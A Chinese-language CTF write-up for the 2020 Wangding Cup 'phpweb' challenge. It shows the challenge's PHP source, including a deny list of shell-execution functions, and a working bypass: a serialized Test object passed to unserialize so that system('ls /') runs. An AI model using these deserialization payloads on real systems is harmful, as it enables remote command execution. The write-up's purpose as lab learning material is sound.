2020网鼎杯朱雀组 phpweb

index.php页面，提示有一个报错的地方，这个报错好像是php配置的问题

由于定时刷新有点恶心，所以抓下包，结果：

根据date函数的参数推断，这里执行了date函数，于是试一下eval以及assert，结果：

存在WAF，先看看源码,payload

func=highlight_file&p=index.php

得到：

<!DOCTYPE html>
<html>
<head>
    <title>phpweb</title>
    <style type="text/css">
        body {
            background: url("bg.jpg") no-repeat;
            background-size: 100%;
        }
        p {
            color: white;
        }
    </style>
</head>

<body>
<script language=javascript>
    setTimeout("document.form1.submit()",5000)
</script>
<p>
    <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>
</p>
<form  id=form1 name=form1 action="index.php" method=post>
    <input type=hidden id=func name=func value='date'>
    <input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>

基本上可以得到webshell的全禁止了，而且还有一个小写的转化，不过里面的Test很鸡肋啊，一看就是要你反序列化的啊。于是：

<?php
class Test{
    var $p = "ls /";
    var $func = "system";


}
$c = new Test();
echo serialize($c);
?>

payload:

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

再去读tmp，一般tmp对普通用户有权限

读出文件

2020网鼎杯 朱雀组 phpweb

2020网鼎杯朱雀组 phpweb